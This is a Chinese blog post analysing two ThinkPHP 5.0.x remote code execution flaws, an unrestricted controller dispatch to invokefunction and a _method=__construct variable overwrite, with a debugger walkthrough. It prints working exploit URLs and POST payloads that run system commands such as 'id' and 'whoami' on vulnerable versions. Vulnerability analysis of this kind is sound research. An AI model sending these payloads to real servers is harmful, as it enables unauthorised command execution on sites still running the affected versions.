THINKPHP 5.0.x远程代码执行 RCE分析 2020-09-16 09:45:57 Steven Xeldax > 本文记录了tp 5.0.x版本下的RCE漏洞 ## 分析目标tp版本 5.0.10 ## RCE1 调用任意thinkphp中类和方法引发的任意代码执行 ``` ?s=index/think\config/get&name=database.username # 获取配置信息 ?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件 ?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ``` 我们首先测试一个正常的逻辑看下整个thinkphp调度的流程。 http://localhost/index.php?s=index/index/index 执行module为index,controller为index的index方法 动态调式一波 加载public中的入口文件  进入start.php  跟进到\think\app中的run方法  调用self.routeCheck来获取dispatch的调度信息  继续跟进到self::exec方法中  执行到module方法  在module方法中会检测我们传入的module是否存在,通过is_dir是否在APP_PATH存在同名文件夹  然后进行一系列的模块初始化  获取控制器和方法的名字  然后检查一些操作方法是否存在  调用invokeMethod方法   后面就是就采用反射的方法执行传入的目标函数  ### 漏洞点分析 通过上面正常的流程分析中,我们其实可以发现,在获取控制器的类名和方法其实是没有任何的限制,我们可以在pathinfo模式下,轻松的调度在think命名空间的方法,具体有哪些方法我们可以在App.php中打一个log看一下。  我们能使用的类如下所示:  那么如何RCE呢,我们跟进到\think\app中看一下。 有一个invokeFUnction函数,如下图所示:  这个方法还是public的静态方法,那么一定有办法执行代码。  由于第二个函数是array所以这边只能考虑使用call_user_func_array/call_user_func来进行代码执行,若过传送string会报错  最终得到 > http://localhost/index.php?s=index/think\app/invokeFunction&function=call_user_func&vars[0]=var_dump&vars[1]=1   也可以使用上章节中给的其他人的EXP ## RCE2 变量覆盖漏洞导致RCE 5.0.0 - 5.0.12 无条件触发 ``` POST / HTTP/1.1 _method=__construct&filter=system&method=GET&a=whoami a可以替换成get[]、route[]或者其他名字 ``` 5.0.13 - 5.0.23 需要有第三方类库,如完整版中的captcha ``` POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&get[]=whoami get[]可以换成route[] ``` 5.0.13 - 5.0.23 需要开启debug ``` POST / HTTP/1.1 _method=__construct&filter=system&get[]=whoami get[]可以替换成route[] ``` 梭一把5.0.10  分析调试一下代码 跟进到\think\app中run方法  跟进到routeCheck方法  继续跟进  我们来到\think\Route中的check方法,随后跟进到$request->method中  重点看下method方法 ``` public function method($method = false) { if (true === $method) { // 获取原始请求类型 return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } } return $this->method; } ``` > $this->method = strtoupper($_POST[Config::get('var_method')]); 会将post body中的method复制给$this->method 然后此处的 > $this->{$this->method}($_POST); 会使得我们可以调用在这个类中的任意方法,如果我们调用__construct就会完成一次变量覆盖。 此处我们就成功的将filter覆盖为了system方法  随后我们完成module初始化后,来到invokeMethod函数中  我们跟进到bindParms函数中,看到bindParms中调用了Request::param  跟进 param  我们来到input函数中,发现input函数会调用filter作为过滤器  我们看下array_walk_recursive的函数手册  最终通过array_walk_recursive执行任意函数 最终的调用栈为 ``` Request.php:1002, think\Request->input() Request.php:638, think\Request->param() App.php:232, think\App::bindParams() App.php:193, think\App::invokeMethod() App.php:408, think\App::module() App.php:295, think\App::exec() App.php:123, think\App::run() start.php:18, require() index.php:17, {main}() ``` ## 参考资料 https://blog.csdn.net/qq_32727277/article/details/102974288 https://www.cnblogs.com/zpchcbd/p/12622077.html https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C10.md